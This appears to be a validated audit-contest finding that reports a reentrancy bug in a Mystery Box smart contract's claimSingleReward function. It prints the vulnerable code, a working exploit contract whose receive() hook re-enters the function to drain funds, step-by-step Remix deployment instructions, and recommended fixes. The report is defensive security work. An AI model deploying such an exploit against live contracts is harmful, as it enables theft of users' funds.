Mystery Box

First Flight #25
Beginner FriendlyFoundry
100 EXP
View results
Submission Details
Severity: high
Valid

Reentrancy Vulnerability in the `claimSingleReward` Function

Summary

The claimSingleReward function allows users to claim a single reward from their list of owned rewards by specifying the index. However, the current implementation is vulnerable to a reentrancy attack, similar to the vulnerability in the claimAllRewards function. This vulnerability could allow a malicious user to exploit the contract and drain funds by repeatedly calling the function before the state is updated.

Vulnerability Details

The vulnerability is due to the fact that the function transfers funds to the caller before updating the state variable rewardsOwned[msg.sender][_index]. This allows an attacker to exploit the reentrancy flaw and repeatedly withdraw rewards for the same index before the state is updated.

// MysteryBox.sol: line 92 to 101
function claimSingleReward(uint256 _index) public {
require(_index <= rewardsOwned[msg.sender].length, "Invalid index");
uint256 value = rewardsOwned[msg.sender][_index].value;
require(value > 0, "No reward to claim");
(bool success,) = payable(msg.sender).call{value: value}("");
require(success, "Transfer failed");
delete rewardsOwned[msg.sender][_index];
}

Detailed Breakdown:

  • 1=> Index Check and Value Retrieval: The function first verifies that the provided index _index is valid:

require(_index <= rewardsOwned[msg.sender].length, "Invalid index");

Then, it retrieves the reward value from the specified index:

uint256 value = rewardsOwned[msg.sender][_index].value;

If the value is greater than zero, the function proceeds to transfer the funds.

  • 2=> Funds Transfer: The contract uses a low-level call to transfer the reward to the caller:

(bool success,) = payable(msg.sender).call{value: value}("");

This is the point where the vulnerability occurs. If msg.sender is a contract, it can execute arbitrary code in its fallback function. The contract can then re-enter the claimSingleReward function, allowing it to claim rewards for the same index multiple times before the state is updated.

  • 3=> State Update Vulnerability: The state update occurs after the transfer:

delete rewardsOwned[msg.sender][_index];

Because this state update happens after the funds are transferred, an attacker can re-enter the function and claim rewards multiple times for the same index before rewardsOwned[msg.sender][_index] is deleted.

Exploit Scenario:

  1. An attacker’s contract calls claimSingleReward() with a valid _index.

  2. The contract transfers the reward to the attacker's contract.

  3. The attacker's contract uses its fallback function to re-enter claimSingleReward() and repeatedly claim the reward for the same index before the state is updated.

  4. The attacker drains the contract’s funds by exploiting this vulnerability.

POC:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
interface IMysteryBox {
struct Reward {
string name;
uint256 value;
}
function boxPrice() external view returns (uint256);
function buyBox() external payable;
function openBox() external;
function getRewards() external view returns (Reward[] memory);
function claimSingleReward(uint256 _index) external;
}
contract Exploit2 {
IMysteryBox public mysteryBox;
uint256 public attackIndex;
string public lastError;
constructor(address _mysteryBoxAddress) {
mysteryBox = IMysteryBox(_mysteryBoxAddress);
}
function deposit() external payable {
// This function allows depositing Ether into the contract
}
function buyAndOpenBox() public {
require(address(this).balance >= mysteryBox.boxPrice(), "Not enough balance");
mysteryBox.buyBox{value: mysteryBox.boxPrice()}();
mysteryBox.openBox();
}
function findMostValuableReward() public returns (bool) {
IMysteryBox.Reward[] memory rewards = mysteryBox.getRewards();
uint256 maxValue = 0;
bool foundValuable = false;
for (uint256 i = 0; i < rewards.length; i++) {
if (rewards[i].value > maxValue) {
maxValue = rewards[i].value;
attackIndex = i;
foundValuable = true;
}
}
return foundValuable;
}
function attack() external {
bool found = findMostValuableReward();
require(found, "No valuable reward found");
mysteryBox.claimSingleReward(attackIndex);
}
receive() external payable {
if (address(mysteryBox).balance > 0) {
mysteryBox.claimSingleReward(attackIndex);
}
}
}

Deploy the MysteryBox.sol in Remix IDE and Fund The Contract

  • Deploy me Exploit Contract Using the game contract address and fund it with any amount (5 ether)

  • Call the buyAndOpenBox function 5 times

  • Call the findMostValuableReward function to get the most valuable reward you have

  • Then Call the attack function to activate the `Reentrancy Vulnerability` and drain the game contract.

Impact

  • Fund Drainage: The attacker can continuously claim rewards for the same index, draining the contract’s balance.

  • Denial of Service: Legitimate users may be unable to claim their rewards as the contract’s funds could be depleted by the attacker.

Tools Used

  • Remix IDE

  • gas Used to Avoid Revert While Running The Attack: 80000000

Recommendations

The function should update the state before transferring any funds to prevent reentrancy. This can be done by using the Checks-Effects-Interactions pattern, where the contract’s state is updated before interacting with external accounts (such as making a funds transfer).

The updated function would look like this:

function claimSingleReward(uint256 _index) public {
require(_index <= rewardsOwned[msg.sender].length, "Invalid index");
uint256 value = rewardsOwned[msg.sender][_index].value;
require(value > 0, "No reward to claim");
// Update the state before transferring funds
delete rewardsOwned[msg.sender][_index];
(bool success,) = payable(msg.sender).call{value: value}("");
require(success, "Transfer failed");
}

By deleting rewardsOwned[msg.sender][_index] before transferring funds, the attacker cannot re-enter the function and claim the reward multiple times.

Recommendations:

  1. Implement Checks-Effects-Interactions Pattern: Ensure that all state-changing operations occur before external calls like fund transfers.

  2. Use OpenZeppelin’s ReentrancyGuard: Apply the nonReentrant modifier to prevent reentrancy by blocking re-entrance into the function.

  3. Gas Limit for .call(): Consider limiting the gas available for external calls to make it harder for the fallback function to perform complex operations during the reentrancy window.

Updates

Appeal created

inallhonesty Lead Judge about 1 year ago
Submission Judgement Published
Validated
Assigned finding tags:

`claimSingleReward` reentrancy

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!